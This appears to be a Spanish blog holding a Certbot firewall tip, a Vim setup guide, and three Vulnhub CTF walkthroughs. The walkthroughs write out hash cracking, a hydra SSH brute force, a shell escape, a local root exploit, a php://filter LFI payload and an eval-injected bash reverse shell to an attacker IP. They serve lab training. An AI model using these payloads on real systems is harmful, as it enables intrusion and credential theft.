domingo, 25 de diciembre de 2022

Nginx - Certbot: Solucionando problema de actualizacion de certificado let's encript

 

Hace unos años por esta misma tenía un par de servicios que tenía levantados, hacía ya un tiempo, pero ya me enfrentaba a un nuevo reto que era actualizar los certificados TLS.
 

 Después de encontrarme en serios problemas por no poder solucionarlo, llegue a la conclusión de que era problemas de filtrado en el firewall. La solución es darle acceso temporal al bot de let's encrypt para hacer la renovación y luego cerrarlo.


 Lo primero hay que hacer los cambios en la configuración de perfil para el firewall / ufw en mi caso habilitar el puerto 80 y 443


[letsencrypt]
title=access to the world for Let's Encrypt
description=access to the world for Let's Encrypt
ports=80/tcp|443/tcp


Los perfiles de ufw suele encontrarse en la ruta /etc/ufw/applications.d/ y para habilitarlo con el comando:

ufw allow letsencrypt


Para probarlo, let's encript tiene un mecanismo de prueba, que permite simular la renovación de los certificados.

certbot renewal --dry-run
 

Después de generar la prueba y/o generar el certificado no hay que olvidar, desactivar y en su defecto la regla que se creó. Adicionalmente, se puede crear un script de bash o directamente con crobjob para actualizar los certificados cada X periodo de tiempo



 

 

sábado, 13 de agosto de 2022

CTF Moria: 1 VM


 Esta máquina para los fanaticos de Tolkien es temática basada en LOR, asi que a disfrutarla, comenzando con el escaneo de puertos con nmap.
$ sudo nmap -sV -Pn -A -O -oN moria1 192.168.2.23                                                                                      
Starting Nmap
Nmap scan report for 192.168.2.23
Host is up (0.00072s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey:
|   2048 47b5ede3f9ad9688c0f283237fa3d34f (RSA)
|   256 85cda2d8bb85f60f4eae8caa7352ec63 (ECDSA)
|_  256 b1777e08b3a084f8f45df98ed585b934 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Gates of Moria
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

 

En el escaneo se descubrió tres servicios corriendo por el puerto 21,22 y 80. Ahora visitando el navegador se encontró lo siguiente.

 

Después se escaneó los directores y se encontró lo siguiente.
$ gobuster dir -u http://192.168.2.23/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt       
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.23/w                    (Status: 301) [Size: 230] [--> http://192.168.2.23/w/]


Al visitar esa ruta se encontró este directorio y siguiéndole lleva a esto.

 

Además de ese mensaje no hay otra pista para continuar, asi que refrescando la página aparece de manera random un mensaje. Asi que con Wireshark, se inicia la captura de paquetes de red.

 

Después de bastantes intentos refrescando la página aparece estos paquetes bastante inusuales, asi que podría ser la siguiente pista, lo único que no era contante era los puertos, y si había un mensaje en él.

 

Ahora se inspecciona el puerto 21, en el mensaje de bienvenida ofrece un nombre de usuario, se comprueba si el mensaje anterior es el servicio FTP.
$ ftp 192.168.2.23
Connected to 192.168.2.23.
220 Welcome Balrog!
Name (192.168.2.23:***): Balrog
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||36104|).
150 Here comes the directory listing.
226 Directory send OK.

 

Al listar las carpetas, tiene ciertos permisos asi que se explora algunos directorios y seguidamente listar el contenido en el servicio remoto.
ftp> cd /
250 Directory successfully changed.
ftp> cd /var/www/html
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||25583|).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0              23 Mar 12  2017 QlVraKW4fbIkXau9zkAPNGzvi
-r--------    1 48       48             85 Mar 12  2017 index.php
-r--------    1 48       48         161595 Mar 11  2017 moria.jpg
drwxr-xr-x    3 0        0              15 Mar 12  2017 w
226 Directory send OK.
ftp> dir
229 Entering Extended Passive Mode (|||52471|).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0              23 Mar 12  2017 QlVraKW4fbIkXau9zkAPNGzvi
-r--------    1 48       48             85 Mar 12  2017 index.php
-r--------    1 48       48         161595 Mar 11  2017 moria.jpg
drwxr-xr-x    3 0        0              15 Mar 12  2017 w
226 Directory send OK.


Entonces en el navegador se puede visualizar lo siguiente en la ruta /QlVraKW4fbIkXau9zkAPNGzvi


Y en el código fuente esta anotación.
<!--
******
******
******
******
******
******
******
******
MD5(MD5(Password).Salt)
-->


Esto da pie para dar formato a los hash que se encontraron de esta forma, para poder crackearlo con john en un formato apropiado.

 

$john --format=dynamic_6 prisioners
Using default input encoding: UTF-8
Loaded 9 password hashes with 9 different salts (dynamic_6 [md5(md5($p).$s) 256/256 AVX2 8x3])
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
-----------         (Balin)     
-----------          (Nain)     
-----------           (Ori)     
-----------          (Oin)     
-----------           (Dain)     
-----------          (Maeglin)     
-----------         (Thrain)     
-----------            (Telchar)     
-----------         (Fundin)  


Lo siguiente es probar estos usuarios el acceso con SSH con su respectiva contraseña. El acceso se obtiene con el usuario Ori.
$ ssh Ori@192.168.2.23
Ori@192.168.2.23's password:
-bash-4.2$ ls
poem.txt

Al ingresar, se encontró por decirlo de alguna manera, la primera.
-bash-4.2$ cat poem.txt
Ho! Ho! Ho! to the bottle I go
To heal my heart and drown my woe.
Rain may fall and wind may blow,
And many miles be still to go,
But under a tall tree I will lie,
And let the clouds go sailing by.
PS: Moria will not fall!

 

También se encontró la carpeta .ssh, en ella un host, se hizo reviso al archivo .pub se identificó un usuario que le podría corresponderle.
-bash-4.2$ cat .ssh/id_rsa.pub
ssh-rsa AA.......AldK50EYLIu7MO9tCBGLd04UCzvZhK4b920w2igQcuvh Ori@Prison

 

Se inicia sesión ssh, pero antes de eso se cambian los permisos al archivo. Y no funciono, se probaron con varios usuarios hasta llegar a root.
-bash-4.2$ chmod 600 id_rsa
-bash-4.2$ ssh -i id_rsa root@127.0.01
Last login: Fri Apr 28 18:01:27 2017
[root@Moria ~]# whoami
root

Ahora solo es ir a abrir el archivo flag.txt, se los dejo para que lo puedan abrir y leer otro poema.
[root@Moria ~]# ls
flag.txt


Muchas gracias a @abatchy17 que nos brindó esta VM. Hasta la próxima.

Vulnhub:Moria: 1.1

domingo, 12 de junio de 2022

Instalar y personalizar Vim


 Hace unos días me encontré con una noticia que me dejo impactado.

 


"... Si bien el objetivo de hacer crecer la comunidad de creadores de software se mantiene, hemos decidido retirar Atom para promover nuestro compromiso de llevar el desarrollo de software rápido y confiable a la nube a través de Microsoft Visual Studio Code y GitHub Codespaces.

Hoy, anunciamos que vamos a cerrar Atom y archivaremos todos los proyectos bajo la organización el 15 de diciembre de 2022..."

"... GitHub y nuestra comunidad se han beneficiado enormemente de aquellos que presentaron problemas, crearon extensiones, corrigieron errores y crearon nuevas funciones en Atom. Atom jugó un papel integral en los viajes de muchos desarrolladores", como es mi caso, no estoy realmente interesado en cambiarme a las otras alternativas.

 

Habiendo una discusión sobre como conservar el proyecto por la comunidad (dejo el enlace aquí) y dejar a un lado la marca de atom para darle continuidad, les dejo un enlace a proton es como ellos denominan una nueva imagen del amado 'Editor de texto pirateable' Atom.

 

Mientras se estabiliza la comunidad para obtener de nuevo a atom, les mostraré una alternativa llamada VIM.


Instalación en Windows

Primero se debe descarga desde la página de vim el ejecutable. Al instalar desde el ejecutable se debe tener cuidado en esta sección, te preguntará el tipo de instalación, la opción que elija dependerá del tamaño disponible de su equipo.



Instalación en Linux / BSD



Distribuciones basadas en Debian y Debian


$ sudo apt-get update
$ sudo apt-get install vim-gtk


RedHat y distribuciones basadas en RedHat

$ sudo yum check-update
$ sudo yum install vim-X11

Fedora

$ sudo dnf check-update
$ sudo dnf install vim-X11


Distribuciones basadas en OpenBSD y OpenBSD

$ sudo pkg_add vim-x11

Distribuciones basadas en FreeBSD y FreeBSD

$ sudo pkg install editors/vim



Personalización de Vim


Hay que crear en el home del usuario un archivo .vimrc

$ touch ~/.vimrc

Para la configuración básica de vim, se agrega en este archivo las siguientes líneas:

set nocompatible

filetype on

filetype plugin on

filetype indent on

syntax on


la primera deshabilita la compatibilidad con vi.

La siguiente, habilite la detección de archivos de tipo.

Habilite los complementos y cargue el complemento para el tipo de archivo detectado. 

Cargue un archivo de sangría para el tipo de archivo detectado.

Active el resaltado de sintaxis.

 

Ahora para enumerar las filas a un costado

set number 


En cuanto a la localización del cursor, las siguientes lo resaltan tanto vertical y horizontal

set cursorcolumn
set cursorline


Para mejorar la experiencia de usuario en cuanto el espacio de trabajo

set shiftwidth=4
set tabstop=4
set expandtab
set nobackup
set scrolloff=10
set nowrap
set incsearch
set ignorecase
set smartcase
set showcmd
set showmode
set showmatch
set hlsearch
set history=1000


Establezca el ancho de turno en 4 espacios.
Establezca el ancho de la pestaña en 4 columnas.
Use caracteres de espacio en lugar de tabulaciones.
No guarde archivos de copia de seguridad.
No permita que el cursor se desplace por debajo o por encima de N número de líneas al desplazarse.
No envuelva las líneas. Permita que las líneas largas se extiendan hasta donde llegue la línea.
Mientras busca en un archivo, resalte de forma incremental los caracteres coincidentes a medida que escribe.
Ignora las letras mayúsculas durante la búsqueda.
Anule la opción de ignorar mayúsculas y minúsculas si busca letras mayúsculas. Esto le permitirá buscar específicamente letras mayúsculas.
Muestra el comando parcial que escribes en la última línea de la pantalla.
Muestre el modo en que se encuentra en la última línea.
Mostrar palabras coincidentes durante una búsqueda.
Utilice el resaltado al realizar una búsqueda.
Establezca los comandos para guardar en el historial, el número predeterminado es 20.


Aunque si buscas algo genial este video es un poco antiguo pero lo suficientemente interesante para probar algunas cosas.

 



Créditos: vim, freecodecamp,
 
 
 
 
 

sábado, 14 de mayo de 2022

CTF Super Mario Host: 1 VM

 

Se inicia esta máquina explorando los puertos con nmap.

$ sudo nmap -sV -Pn -A -O -oN smariohost 192.168.2.22
Nmap scan report for 192.168.2.22
Host is up (0.00047s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 1c97c0063bcb4f6f0f658d3782c42359 (DSA)
|   2048 452dfe04bb98ed00d77b36da8fcf441c (RSA)
|   256 095c259d5c54ae8d90e3449b5ea14de0 (ECDSA)
|_  256 c9d56a3253ab8a43744b85fba0ba4052 (ED25519)
8180/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: nginx
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Como no se encontró nada en el navegador en el puerto 8180, se escanea los directorios con el flag de extensión tipo php.

$ gobuster dir -u http://192.168.2.22:8180/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.22:8180/.php                 (Status: 403) [Size: 206]
http://192.168.2.22:8180/.php                 (Status: 403) [Size: 206]
http://192.168.2.22:8180/vhosts               (Status: 200) [Size: 1364]
http://192.168.2.22:8180/server-status        (Status: 403) [Size: 215]

Se encontró un archivo de configuración que contenía una vhost, asi que se procede a añadirlo.

$ sudo vi /etc/hosts
192.168.2.22        mario.supermariohost.local

Ahora sé pasando la url http://mario.supermariohost.local:8180/ se ve un minijuego de Mario.


Se escanea de nuevo las rutas con esta nueva dirección.

$ gobuster dir -u http://mario.supermariohost.local:8180/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://mario.supermariohost.local:8180/.php                 (Status: 403) [Size: 206]
http://mario.supermariohost.local:8180/mario.php            (Status: 200) [Size: 7080]
http://mario.supermariohost.local:8180/command.php          (Status: 200) [Size: 231]
http://mario.supermariohost.local:8180/.php                 (Status: 403) [Size: 206]
http://mario.supermariohost.local:8180/luigi.php            (Status: 200) [Size: 386]
http://mario.supermariohost.local:8180/server-status        (Status: 403) [Size: 215]

 

Regresando al navegador en la ruta /luigi.php.

Para conveniencia, se hizo una pequeña lista con usuarios permitidos, toad, luigi, peach, yoshi y mario. Con esta lista se creó un diccionario que se va a utilizar para forzar la entrada a servidor por el puerto SSH.

$ john --wordlist=~/Documentos/vulhub/supermarioHost_1/users --rules --stdout >psw

Ya teniendo ambos diccionarios de usuarios y contraseñas, con hidra para hacer una serie de ataques de fuerza bruta.
hydra -s 22 -L /../users -P /../psw -t 16 192.168.2.22 ssh
...
login: luigi   password: luigi1

Con las credenciales se inicia secion.

Con el comando de ayuda se desplegó una serie de comandos que al menos un es vulnerable y dar una shell.
awk 'BEGIN {system("/bin/sh")}'

 

Ahora se verifica la versión de Linux que está corriendo. Se encuentra un mensaje en la que se declara la guerra contra Luigi por el amor de la princesa.
$ cat /proc/version
Linux version 3.13.0-32-generic (buildd@kissel) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014
 

Con este exploit, al seguir las instrucciones permitirá obtener un usuario con permisos root.
$ mv 37292 37292.c
$ gcc 37292.c -o exp
$ exp


Ahora con el usuario root, en el directorio /root se encuentra el flag en un .zip. Como no puedo descomprimirlo, se copia en /var/www/html y ahí poder descargarlo desde el navegador en la ruta http://192.168.2.22:8180/flag.zip.

Una vez descargado se utiliza a john para desencriptar él .zip.
$ zip2john flag.zip > ziphash


$ john --wordlist=~/Documentos/rockyou.txt ziphash              
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovepeach       (flag.zip/flag.txt)


Se descomprime y se utiliza esta contraseña en él .zip y se encuentra lo siguiente.
$ unzip flag.zip  
Archive:  flag.zip
[flag.zip] flag.txt password:
  inflating: flag.txt  


$ cat flag.txt
Well done :D If you reached this it means you got root, congratulations.
Now, there are multiple ways to hack this machine. The goal is to get all the passwords of all the users in this machine. If you did it, then congratulations, I hope you had fun :D

Keep in touch on twitter through @mr_h4sh

Congratulations again!

mr_h4sh


Y bueno, eso es todo por esta entrada, no se continúa esta entrada con la búsqueda del siguiente flag, ya que hay un punto en el que parece que todo funciona y debería funcionar no funciona. Asi que les dejo hasta aquí, si alguien cree tener la forma de evadir esa restricción con gusto, me gustaría platicarlo.

Muchas gracias a @mr_h4sh que nos brindó esta VM. Hasta la próxima.

Vulnhub: Super Mario Host: 1



sábado, 9 de abril de 2022

CTF Ew_Skuzzy: 1 VM

 

Primero se escanea los puertos con nmap.
$ sudo nmap -sV -Pn -A -O -oN ew_skuzzy 192.168.2.14
Starting Nmap
Nmap scan report for 192.168.2.14
Host is up (0.00055s latency).
Not shown: 997 closed tcp ports (reset)
Bug in iscsi-info: no string output.
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 89c2ae12d6c5194e684a28e906bd9c19 (RSA)
|   256 f00cae3710d36da2853a77040694f80a (ECDSA)
|_  256 855b491705a0b84e76ceb263c62136e9 (ED25519)
80/tcp   open  http    nginx
|_http-title: Welcome!
3260/tcp open  iscsi?
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Se reviso en el navegador el servicio corriendo en el puerto 80


Como el escaneo de directorio no se encontro ningun directorio, o en el código fuente, se comprueba el otro servicio que correo el 3260, según un blog 

iSCSI es un protocolo de red de área de almacenamiento que define cómo se transfieren los datos entre los sistemas host y los dispositivos de almacenamiento. Permite el transporte de datos SCSI a nivel de bloque entre el iniciador iSCSI y el destino de almacenamiento a través de redes TCP/IP.

Se intenta descubrir si este servicio esta expuesto.
$ sudo iscsiadm -m discovery -t sendtargets -p 192.168.2.14:3260
192.168.2.14:3260,1 iqn.2017-02.local.skuzzy:storage.sys0


Para obtener mas información, con el siguiente comando
$ sudo iscsiadm -m node --targetname="iqn.2017-02.local.skuzzy:storage.sys0" -p 192.168.2.14:3260
# BEGIN RECORD
node.name = iqn.2017-02.local.skuzzy:storage.sys0
node.tpgt = 1
node.startup = manual
node.leading_login = No
iface.iscsi_ifacename = default
iface.net_ifacename = <empty>
iface.ipaddress = <empty>
iface.prefix_len = 0
iface.hwaddress = <empty>
iface.transport_name = tcp
iface.initiatorname = <empty>
iface.state = <empty>
iface.vlan_id = 0
iface.vlan_priority = 0
iface.vlan_state = <empty>
iface.iface_num = 0
iface.mtu = 0
iface.port = 0
iface.bootproto = <empty>
iface.subnet_mask = <empty>
iface.gateway = <empty>
iface.dhcp_alt_client_id_state = <empty>
iface.dhcp_alt_client_id = <empty>
iface.dhcp_dns = <empty>
iface.dhcp_learn_iqn = <empty>
iface.dhcp_req_vendor_id_state = <empty>
iface.dhcp_vendor_id_state = <empty>
iface.dhcp_vendor_id = <empty>
iface.dhcp_slp_da = <empty>
iface.fragmentation = <empty>
iface.gratuitous_arp = <empty>
iface.incoming_forwarding = <empty>
iface.tos_state = <empty>
iface.tos = 0
iface.ttl = 0
iface.delayed_ack = <empty>
iface.tcp_nagle = <empty>
iface.tcp_wsf_state = <empty>
iface.tcp_wsf = 0
iface.tcp_timer_scale = 0
iface.tcp_timestamp = <empty>
iface.redirect = <empty>
iface.def_task_mgmt_timeout = 0
iface.header_digest = <empty>
iface.data_digest = <empty>
iface.immediate_data = <empty>
iface.initial_r2t = <empty>
iface.data_seq_inorder = <empty>
iface.data_pdu_inorder = <empty>
iface.erl = 0
iface.max_receive_data_len = 0
iface.first_burst_len = 0
iface.max_outstanding_r2t = 0
iface.max_burst_len = 0
iface.chap_auth = <empty>
iface.bidi_chap = <empty>
iface.strict_login_compliance = <empty>
iface.discovery_auth = <empty>
iface.discovery_logout = <empty>
node.discovery_address = 192.168.2.14
node.discovery_port = 3260
node.discovery_type = send_targets
node.session.initial_cmdsn = 0
node.session.initial_login_retry_max = 8
node.session.xmit_thread_priority = -20
node.session.cmds_max = 128
node.session.queue_depth = 32
node.session.nr_sessions = 1
node.session.auth.authmethod = None
node.session.auth.username = <empty>
node.session.auth.password = <empty>
node.session.auth.username_in = <empty>
node.session.auth.password_in = <empty>
node.session.auth.chap_algs = MD5
node.session.timeo.replacement_timeout = 120
node.session.err_timeo.abort_timeout = 15
node.session.err_timeo.lu_reset_timeout = 30
node.session.err_timeo.tgt_reset_timeout = 30
node.session.err_timeo.host_reset_timeout = 60
node.session.iscsi.FastAbort = Yes
node.session.iscsi.InitialR2T = No
node.session.iscsi.ImmediateData = Yes
node.session.iscsi.FirstBurstLength = 262144
node.session.iscsi.MaxBurstLength = 16776192
node.session.iscsi.DefaultTime2Retain = 0
node.session.iscsi.DefaultTime2Wait = 2
node.session.iscsi.MaxConnections = 1
node.session.iscsi.MaxOutstandingR2T = 1
node.session.iscsi.ERL = 0
node.session.scan = auto
node.session.reopen_max = 0
node.conn[0].address = 192.168.2.14
node.conn[0].port = 3260
node.conn[0].startup = manual
node.conn[0].tcp.window_size = 524288
node.conn[0].tcp.type_of_service = 0
node.conn[0].timeo.logout_timeout = 15
node.conn[0].timeo.login_timeout = 15
node.conn[0].timeo.auth_timeout = 45
node.conn[0].timeo.noop_out_interval = 5
node.conn[0].timeo.noop_out_timeout = 5
node.conn[0].iscsi.MaxXmitDataSegmentLength = 0
node.conn[0].iscsi.MaxRecvDataSegmentLength = 262144
node.conn[0].iscsi.HeaderDigest = None
node.conn[0].iscsi.DataDigest = None
node.conn[0].iscsi.IFMarker = No
node.conn[0].iscsi.OFMarker = No
# END RECORD

 Lo siguiente es conectarse a este servicio con el flag --login
$ sudo iscsiadm -m node --targetname="iqn.2017-02.local.skuzzy:storage.sys0" -p 192.168.2.14:3260 --login
Login to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.2.14,3260] successful.


 Ahora se verifica la tabla de particiones de disco.
$ sudo fdisk -l
...
Disk /dev/sdb: 1 GiB, 1073741824 bytes, 2097152 sectors
Disk model: VIRTUAL-DISK    
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Es hora de montar este disco, se crea una carpeta y se monta este disco.
# mount /dev/sdb sdb 

# ls
bobsdisk.dsk  flag1.txt  lost+found

 

Se a encontrado la primer flag
# cat flag1.txt
Congratulations! You've discovered the first flag!

flag1{********************************327f4dd}

Let's see how you go with the next one...

 

Se tiene otro disco pues tambien se intenta montar en otra carpeta.
# mount bobsdisk.dsk ../bobs


Se comprueba los archivos de bob.
# ls
lost+found  ToAlice.csv.enc  ToAlice.eml

 

Se abre el archivo ToAlice.eml se encuentra la flag2 y un monton de pistas para lo que viene.
# cat ToAlice.eml
G'day Alice,

You know what really annoys me? How you and I ended up being used, like some kind of guinea pigs, by the RSA crypto wonks as actors in their designs for public key crypto... I don't recall ever being asked if that was ok? I never got even one cent of royalties from them!? RSA have made Millions on our backs, and it's time we took a stand!

Starting now, today, immediately, I'm never using asymmetric key encryption again, and it's all symmetric keys from here on out. All my files and documents will be encrypted with that popular symmetric crypto algorithm. Uh. Yeah, I can't pronounce its original name. I don't even know what the letters in its other name stand for - but really - that's not important. A bloke at my local hackerspace says its the beez kneez, ridgy-didge, real-deal, the best there is when it comes to symmetric key crypto, he has heaps of stickers on his laptop so I guess it means he knows, right? Anyway, he said it won some big important competition among crypto geeks in October 2000? Lucky Y2K didn't happen then, I suppose or that would have been one boring party!

Anyway this algorithm sounded good to me. I used the updated version that won the competition.

You know what happened to me this morning? My kids, the little darlings, had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! It's hard to stay mad though, I really love Lego, the way those blocks chain togeather really does make them work brilliantly.

Anyway, given I'm not not using asymmetric crypto any longer, I destroyed my private key, so the public key you have for me may as well be deleted. I've got some notes for you which might help in your current case, I've encrypted it using my new favourite symmetric key crypto algorithm, it should be on the disk with this note.

Give me a shout when you're down this way again, we'll catch up for coffee (once the Lego is removed from my foot) :)

Cheers,

Bob.

PS: Oh, before I forget, the hacker-kid who told me how to use this new algorithm, said it was very important I used the command option -md sha256 when decrypting. Why? Who knows? He said something about living on the bleeding-edge...

PPS: flag2{******************************d23d3a7f}


 

Estas son algunas de las pistas

  • -md sha256
  • symmetric key crypto algorithm
  • ROCKYOU
  • 256 bit 
  • competition among crypto geeks in October 2000
  • it's all symmetric keys from here on out.
     

Lo que sigue es hacer un ataque de fuerza bruta contra el archivo encriptado, con las pistas se reduce considerablemente la cantidad de intentos. Se estraen todos los strings de 32bytes (2^8*32=256bites) de rockyou.
$ cat ../rockyou.txt | awk 'length($1)==32'> key.txt


Ahora con un pequeño script se crea que ejecute el siguiente comando y le pase una contraseña desde la lista recien creada.
pswd: supercalifragilisticoespialidoso
openssl aes-256-cbc -d -k pswd -in ToAlice.csv.enc -out ToAlice.csv -md sha2569


Despues de obtener el archivo con la contraseña correcta, se comprueba
# cat ToAlice.csv
Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site!
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?


Asi pues, se escanea las nuevas rutas
$ gobuster dir -u http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/index.php            (Status: 200) [Size: 969]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/welcome.php          (Status: 200) [Size: 17]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/flag.php             (Status: 200) [Size: 17]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/reader.php           (Status: 200) [Size: 17]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/party.php            (Status: 200) [Size: 17]
Progress: 439936 / 441122 (99.73%)

En este se encuentra con una vulnerabilidad de LFI, pero al intentar vulnerarla.

 

Pero en la ruta /c2444910794e037ebd8aaf257178c90b/?p=reader, se accede a una direccion local, al ir a esa direccion se encontro con este archivo.

 

Si no me equivoco, esas ##tags## estan funcionando y las de php estan ejecutando el print. Para acceder al archivo /flag.php gracias a este blog, se puede explotar en la parte donde hace el llamado a una url, se hace el cambio por el protocolo filter y finaliza con el archivo asi.
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
                          


 

Y pasando ese hash a base64 se obtiene esto.
<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Flag</h1>
<p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p>
<img src="trollface.png" />
<?php
// Ok, ok. Here's your flag!
//
// flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
//
// Well done, you're doing great so far!
// Next step. SHELL!
//
//
// Oh. That flag above? You're gonna need it...
?>


Al probarlo con la ruta reader.php, aparecio lo siguiente
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=reader.php

<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Feed Reader</h1>
<?php
if(isset($_GET['url'])) {
    $url = $_GET['url'];
} else {
    print("<a href=\"?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt\">Load Feed</a>");
}

if(isset($url) && strlen($url) != '') {

    // Setup some variables.
    $secretok = false;
    $keyneeded = true;

    // Localhost as a source doesn't need to use the key.
    if(preg_match("#^http://127.0.0.1#", $url)) {
        $keyneeded = false;
        $secretok = true;
    }

    // Handle the key validation when it's needed.
    if($keyneeded) {
        $key = $_GET['key'];
        if(is_array($key)) {
            die("Array trick is mitigated ;)");
        }
        if(isset($key) && strlen($key) == '47') {
        $hashedkey = hash('sha256', $key);
            $secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656";

            // If you can use the following code for a timing attack
            // then good luck :) But.. You have the source anyway, right? :)
        if(strcmp($hashedkey, $secret) == 0) {
                $secretok = true;
            } else {
                die("Sorry... Authentication failed. Key was invalid.");
        }

        } else {
            die("Authentication invalid. You might need a key.");
        }
    }

    // Just to make sure the above key check was passed.
    if(!$secretok) {
        die("Something went wrong with the authentication process");
    }

    // Now load the contents of the file we are reading, and parse
    // the super awesomeness of its contents!
    $f = file_get_contents($url);

    $text = preg_split("/##text##/s", $f);

    if(isset($text['1']) && strlen($text['1']) > 0) {
        print($text['1']);
    }

    print "<br /><br />";

    $php = preg_split("/##php##/s", $f);

    if(isset($php['1']) && strlen($php['1']) > 0) {
        eval($php['1']);
        // "If Eval is the answer, you're asking the wrong question!" - SG
        // It hurts me to write insecure code like this, but it is in the
        // name of education, and FUN, so I'll let it slide this time.
    }
}

 

Luego de improvisar un poco con el buen burpsuit, la key que se necesita es la misma flag4


Al intentar de cambiar la url a la local con un servicio web con un archivo que contiene una reverse shell, funciona hasta, pero no ejecuta el archivo, asi que descargo el archivo data.txt, y si funciono. A partir de ahi se comenzo a probar diferentes comandos para comprobar cual podia funciona, gracias a este post, se inyectar el comando correcto para que se ejecutara la shell.
##php##
print("See? Hacker proof,required!");
system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.5/4567 0>&1'");
##php##
  

Previamente dejando un puerto para escuchar, se pasa la url con la key y la ruta del archivo txt desde mi local.
$ nc -lvnp 4567

http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/?p=reader&key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}&url=http://192.168.2.5:8000/dataall.txt

 

Y ya se tiene acceso, ahora a buscar un punto para escalar en el sistema.
www-data@skuzzy:/home/skuzzy$ find / type f -perm -04000 -ls 2>/dev/null
find / type f -perm -04000 -ls 2>/dev/null
    18326     16 -rwsr-xr-x   1 root     root        14864 Jan 18  2016 /usr/lib/policykit-1/polkit-agent-helper-1
    16689     40 -rwsr-xr-x   1 root     root        38984 Feb  4  2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    17467    420 -rwsr-xr-x   1 root     root       428240 Aug 12  2016 /usr/lib/openssh/ssh-keysign
    16114     44 -rwsr-xr--   1 root     messagebus    42992 Jan 13  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      590     12 -rwsr-xr-x   1 root     root          10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
   152231     56 -rwsr-xr-x   1 root     root          56456 Feb 18  2017 /usr/lib/snapd/snap-confine
      394     40 -rwsr-xr-x   1 root     root          39904 Mar 29  2016 /usr/bin/newgrp
      330     76 -rwsr-xr-x   1 root     root          75304 Mar 29  2016 /usr/bin/gpasswd
